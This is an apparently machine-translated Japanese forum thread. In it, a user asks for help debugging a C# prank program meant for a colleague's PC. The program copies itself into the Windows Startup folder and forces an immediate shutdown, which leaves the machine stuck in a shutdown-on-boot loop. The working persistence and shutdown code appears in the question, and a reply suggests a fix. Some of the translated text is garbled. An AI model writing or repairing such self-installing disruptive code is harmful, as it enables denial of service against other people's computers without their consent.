私の同僚と私はちょっとしたITトロールの戦いがありました。起動したときに自動起動に自身をコピーし、その後PCをシャットダウンするC#で.exeを作成したかったのです。これを動作させましたが、再起動後にファイルが既に存在するという例外があります。今私はFile.Delete(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));
とそれを削除しようとしましたが、私は別の例外System.IO.FileNotFoundException: "C:\ Windows \ system32 \ Test.exe"(Test.exeはプログラムです)が見つかりませんでしたその完全なエラーはドイツ語ではそうです、そうです。 例外を無視してそれを上書きする方法はありますか?C#でフォルダを削除して正しくコピーするには?
String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe");
String filePath = Path.Combine(Environment.CurrentDirectory, fileName);
File.Delete(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));
File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));
Process.Start("shutdown", "/s /t 0");
なぜドイツ語で完全なエラーが表示されないのですか? – Maarten
ダンノーあなたが役に立ったと思ったら追加できます –
lol @Maarten、あなたができることは、まずそれを削除する前にファイルの存在をチェックすることです。 –